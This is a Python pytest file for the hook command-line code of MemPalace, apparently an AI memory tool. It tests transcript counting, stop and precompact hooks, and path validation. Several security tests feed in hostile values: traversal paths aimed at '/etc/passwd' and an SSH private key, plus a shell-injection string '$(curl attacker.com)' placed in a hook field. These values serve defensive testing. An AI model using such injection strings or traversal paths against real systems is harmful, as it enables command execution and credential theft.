BLUDATA\marcio.heiderscheidt
f7d703fd5b
- _count_human_messages() now logs a WARNING via _log() when a non-empty transcript_path is rejected by the validator, making silent auto-save failures diagnosable via hook.log - Add test for platform-native paths (backslashes on Windows) to verify _validate_transcript_path works cross-platform - Add test verifying the warning log is emitted on rejection Refs: MemPalace/mempalace#809
506 lines
16 KiB
Python
506 lines
16 KiB
Python
import contextlib
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import io
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import json
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from pathlib import Path
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from unittest.mock import patch
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import pytest
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from mempalace.hooks_cli import (
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SAVE_INTERVAL,
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STOP_BLOCK_REASON,
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PRECOMPACT_BLOCK_REASON,
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_count_human_messages,
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_log,
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_maybe_auto_ingest,
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_parse_harness_input,
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_sanitize_session_id,
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_validate_transcript_path,
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hook_stop,
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hook_session_start,
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hook_precompact,
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run_hook,
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)
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# --- _sanitize_session_id ---
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def test_sanitize_normal_id():
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assert _sanitize_session_id("abc-123_XYZ") == "abc-123_XYZ"
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def test_sanitize_strips_dangerous_chars():
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assert _sanitize_session_id("../../etc/passwd") == "etcpasswd"
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def test_sanitize_empty_returns_unknown():
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assert _sanitize_session_id("") == "unknown"
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assert _sanitize_session_id("!!!") == "unknown"
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# --- _count_human_messages ---
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def _write_transcript(path: Path, entries: list[dict]):
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with open(path, "w", encoding="utf-8") as f:
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for entry in entries:
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f.write(json.dumps(entry) + "\n")
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def test_count_human_messages_basic(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[
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{"message": {"role": "user", "content": "hello"}},
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{"message": {"role": "assistant", "content": "hi"}},
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{"message": {"role": "user", "content": "bye"}},
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],
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)
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assert _count_human_messages(str(transcript)) == 2
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def test_count_skips_command_messages(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[
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{"message": {"role": "user", "content": "<command-message>status</command-message>"}},
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{"message": {"role": "user", "content": "real question"}},
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],
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)
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assert _count_human_messages(str(transcript)) == 1
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def test_count_handles_list_content(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[
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{"message": {"role": "user", "content": [{"type": "text", "text": "hello"}]}},
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{
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"message": {
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"role": "user",
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"content": [{"type": "text", "text": "<command-message>x</command-message>"}],
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}
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},
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],
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)
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assert _count_human_messages(str(transcript)) == 1
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def test_count_missing_file():
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assert _count_human_messages("/nonexistent/path.jsonl") == 0
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def test_count_empty_file(tmp_path):
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transcript = tmp_path / "t.jsonl"
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transcript.write_text("")
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assert _count_human_messages(str(transcript)) == 0
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def test_count_malformed_json_lines(tmp_path):
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transcript = tmp_path / "t.jsonl"
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transcript.write_text('not json\n{"message": {"role": "user", "content": "ok"}}\n')
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assert _count_human_messages(str(transcript)) == 1
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# --- hook_stop ---
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def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None):
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"""Run a hook and capture its JSON stdout output."""
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import io
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buf = io.StringIO()
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patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))]
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if state_dir:
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patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir))
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with contextlib.ExitStack() as stack:
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for p in patches:
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stack.enter_context(p)
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hook_fn(data, harness)
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return json.loads(buf.getvalue())
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def test_stop_hook_passthrough_when_active(tmp_path):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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result = _capture_hook_output(
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hook_stop,
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{"session_id": "test", "stop_hook_active": True, "transcript_path": ""},
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state_dir=tmp_path,
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)
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assert result == {}
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def test_stop_hook_passthrough_when_active_string(tmp_path):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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result = _capture_hook_output(
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hook_stop,
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{"session_id": "test", "stop_hook_active": "true", "transcript_path": ""},
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state_dir=tmp_path,
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)
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assert result == {}
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def test_stop_hook_passthrough_below_interval(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL - 1)],
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)
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result = _capture_hook_output(
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hook_stop,
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{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
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state_dir=tmp_path,
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)
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assert result == {}
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def test_stop_hook_blocks_at_interval(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
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)
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result = _capture_hook_output(
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hook_stop,
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{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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assert result["reason"] == STOP_BLOCK_REASON
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def test_stop_hook_tracks_save_point(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
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)
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data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}
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# First call blocks
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result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
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assert result["decision"] == "block"
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# Second call with same count passes through (already saved)
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result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
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assert result == {}
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# --- hook_session_start ---
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def test_session_start_passes_through(tmp_path):
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result = _capture_hook_output(
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hook_session_start,
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{"session_id": "test"},
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state_dir=tmp_path,
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)
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assert result == {}
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# --- hook_precompact ---
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def test_precompact_always_blocks(tmp_path):
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result = _capture_hook_output(
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hook_precompact,
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{"session_id": "test"},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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assert result["reason"] == PRECOMPACT_BLOCK_REASON
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# --- _log ---
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def test_log_writes_to_hook_log(tmp_path):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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_log("test message")
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log_path = tmp_path / "hook.log"
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assert log_path.is_file()
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content = log_path.read_text()
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assert "test message" in content
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def test_log_oserror_is_silenced(tmp_path):
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"""_log should not raise if the directory cannot be created."""
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with patch("mempalace.hooks_cli.STATE_DIR", Path("/nonexistent/deeply/nested/dir")):
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# Should not raise
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_log("this will fail silently")
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# --- _maybe_auto_ingest ---
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def test_maybe_auto_ingest_no_env(tmp_path):
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"""Without MEMPAL_DIR set, does nothing."""
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with patch.dict("os.environ", {}, clear=True):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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_maybe_auto_ingest() # should not raise
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def test_maybe_auto_ingest_with_env(tmp_path):
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"""With MEMPAL_DIR set to a valid directory, spawns subprocess."""
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mempal_dir = tmp_path / "project"
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mempal_dir.mkdir()
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with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
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_maybe_auto_ingest()
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mock_popen.assert_called_once()
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def test_maybe_auto_ingest_oserror(tmp_path):
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"""OSError during subprocess spawn is silenced."""
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mempal_dir = tmp_path / "project"
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mempal_dir.mkdir()
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with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
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_maybe_auto_ingest() # should not raise
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# --- _parse_harness_input ---
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def test_parse_harness_input_unknown():
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"""Unknown harness should sys.exit(1)."""
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with pytest.raises(SystemExit) as exc_info:
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_parse_harness_input({"session_id": "test"}, "unknown-harness")
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assert exc_info.value.code == 1
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def test_parse_harness_input_valid():
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result = _parse_harness_input(
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{"session_id": "abc-123", "stop_hook_active": True, "transcript_path": "/tmp/t.jsonl"},
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"claude-code",
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)
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assert result["session_id"] == "abc-123"
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assert result["stop_hook_active"] is True
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# --- hook_stop with OSError on write ---
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def test_stop_hook_oserror_on_last_save_read(tmp_path):
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"""When last_save_file has invalid content, falls back to 0."""
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
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)
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# Write invalid content to last save file
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(tmp_path / "test_last_save").write_text("not_a_number")
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result = _capture_hook_output(
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hook_stop,
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{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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def test_stop_hook_oserror_on_write(tmp_path):
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"""When write to last_save_file fails, hook still outputs correctly."""
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript,
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[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
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)
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def bad_write_text(*args, **kwargs):
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raise OSError("disk full")
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch.object(Path, "write_text", bad_write_text):
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result = _capture_hook_output(
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hook_stop,
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{
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"session_id": "test",
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"stop_hook_active": False,
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"transcript_path": str(transcript),
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},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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# --- hook_precompact with MEMPAL_DIR ---
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def test_precompact_with_mempal_dir(tmp_path):
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"""Precompact runs subprocess.run when MEMPAL_DIR is set."""
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mempal_dir = tmp_path / "project"
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mempal_dir.mkdir()
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with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
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with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
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result = _capture_hook_output(
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hook_precompact,
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{"session_id": "test"},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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mock_run.assert_called_once()
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def test_precompact_with_mempal_dir_oserror(tmp_path):
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"""Precompact handles OSError from subprocess gracefully."""
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mempal_dir = tmp_path / "project"
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mempal_dir.mkdir()
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with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
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with patch("mempalace.hooks_cli.subprocess.run", side_effect=OSError("fail")):
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result = _capture_hook_output(
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hook_precompact,
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{"session_id": "test"},
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state_dir=tmp_path,
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)
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assert result["decision"] == "block"
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# --- run_hook ---
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def test_run_hook_dispatches_session_start(tmp_path):
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"""run_hook reads stdin JSON and dispatches to correct handler."""
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stdin_data = json.dumps({"session_id": "run-test"})
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with patch("sys.stdin", io.StringIO(stdin_data)):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli._output") as mock_output:
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run_hook("session-start", "claude-code")
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mock_output.assert_called_once_with({})
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def test_run_hook_dispatches_stop(tmp_path):
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transcript = tmp_path / "t.jsonl"
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_write_transcript(
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transcript, [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(3)]
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)
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stdin_data = json.dumps(
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{
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"session_id": "run-test",
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"stop_hook_active": False,
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"transcript_path": str(transcript),
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}
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)
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with patch("sys.stdin", io.StringIO(stdin_data)):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli._output") as mock_output:
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run_hook("stop", "claude-code")
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mock_output.assert_called_once_with({})
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def test_run_hook_dispatches_precompact(tmp_path):
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stdin_data = json.dumps({"session_id": "run-test"})
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with patch("sys.stdin", io.StringIO(stdin_data)):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli._output") as mock_output:
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run_hook("precompact", "claude-code")
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mock_output.assert_called_once()
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call_args = mock_output.call_args[0][0]
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assert call_args["decision"] == "block"
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def test_run_hook_unknown_hook():
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stdin_data = json.dumps({"session_id": "test"})
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with patch("sys.stdin", io.StringIO(stdin_data)):
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with pytest.raises(SystemExit) as exc_info:
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run_hook("nonexistent", "claude-code")
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assert exc_info.value.code == 1
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def test_run_hook_invalid_json(tmp_path):
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"""Invalid stdin JSON should not crash — falls back to empty dict."""
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with patch("sys.stdin", io.StringIO("not valid json")):
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli._output") as mock_output:
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run_hook("session-start", "claude-code")
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mock_output.assert_called_once_with({})
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# --- Security: transcript_path validation ---
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def test_validate_transcript_rejects_path_traversal():
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"""Paths with '..' components should be rejected."""
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assert _validate_transcript_path("../../etc/passwd") is None
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assert _validate_transcript_path("../../../.ssh/id_rsa") is None
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def test_validate_transcript_rejects_wrong_extension():
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"""Only .jsonl and .json extensions are accepted."""
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assert _validate_transcript_path("/tmp/transcript.txt") is None
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assert _validate_transcript_path("/tmp/secret.py") is None
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assert _validate_transcript_path("/home/user/.ssh/id_rsa") is None
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def test_validate_transcript_accepts_valid_paths(tmp_path):
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"""Valid .jsonl and .json paths should be accepted."""
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jsonl_path = tmp_path / "session.jsonl"
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jsonl_path.touch()
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result = _validate_transcript_path(str(jsonl_path))
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assert result is not None
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assert result.suffix == ".jsonl"
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json_path = tmp_path / "session.json"
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json_path.touch()
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result = _validate_transcript_path(str(json_path))
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assert result is not None
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assert result.suffix == ".json"
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def test_validate_transcript_empty_string():
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"""Empty transcript path should return None."""
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assert _validate_transcript_path("") is None
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def test_count_rejects_traversal_path():
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"""_count_human_messages should return 0 for path traversal attempts."""
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assert _count_human_messages("../../etc/passwd") == 0
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def test_count_logs_warning_on_rejected_path(tmp_path):
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"""_count_human_messages should log a warning when a non-empty path is rejected."""
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with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
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with patch("mempalace.hooks_cli._log") as mock_log:
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_count_human_messages("../../etc/passwd")
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mock_log.assert_called_once()
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assert "rejected" in mock_log.call_args[0][0].lower()
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def test_validate_transcript_accepts_platform_native_path(tmp_path):
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"""Validator accepts platform-native paths (backslashes on Windows, slashes on Unix)."""
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session_file = tmp_path / "projects" / "abc123" / "session.jsonl"
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session_file.parent.mkdir(parents=True)
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session_file.touch()
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# Use the OS-native string representation (backslashes on Windows)
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result = _validate_transcript_path(str(session_file))
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assert result is not None
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assert result.suffix == ".jsonl"
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assert result.is_file()
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def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
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"""stop_hook_active with shell injection string should not cause issues."""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
# Simulate a malicious stop_hook_active value
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": "$(curl attacker.com)",
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through
|
|
# It should count messages and block at the interval
|
|
assert result["decision"] == "block"
|